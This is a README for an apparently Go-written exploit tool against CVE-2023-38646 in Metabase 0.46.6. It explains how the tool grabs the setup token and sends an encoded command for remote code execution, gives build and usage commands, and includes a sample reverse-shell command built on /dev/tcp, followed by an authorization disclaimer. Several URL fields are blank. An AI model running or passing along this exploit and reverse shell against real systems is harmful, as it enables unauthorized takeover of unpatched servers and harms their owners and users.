# CVE-2023-38646
CVE-2023-38646 Metabase 0.46.6 exploit

This tool exploits a vulnerability (CVE-2023-38646) in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string.

##  Overview

The tool:
- Fetches the setup token from the target URL.
- Base64 encodes the supplied command.
- Constructs the payload with the encoded command.
- Sends the payload to exploit the vulnerability.

## Installation

Clone the repository:
git clone
cd CVE-2023-38646
go build -o exploit
chmod +x exploit

## Usage

./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]

TARGET_URL: The URL of the platform to be scanned and exploited.
COMMAND: The command to be executed on the target.
PROXY_URL (Optional): The URL of the proxy server (e.g., If not provided, no proxy will be used.

## Example with a sh reverse shell

./exploit --url --command 'sh -i >& /dev/tcp/ 0>&1' --proxy

## Disclaimer

This tool is intended for educational and research purposes only. Always ensure you have proper authorization before scanning or exploiting any target. Misuse of this tool is strictly against the developer's intention and could be illegal.

## Feedback & Contributions

Feel free to open issues for any feedback, bugs, or feature requests. Pull requests are always welcome!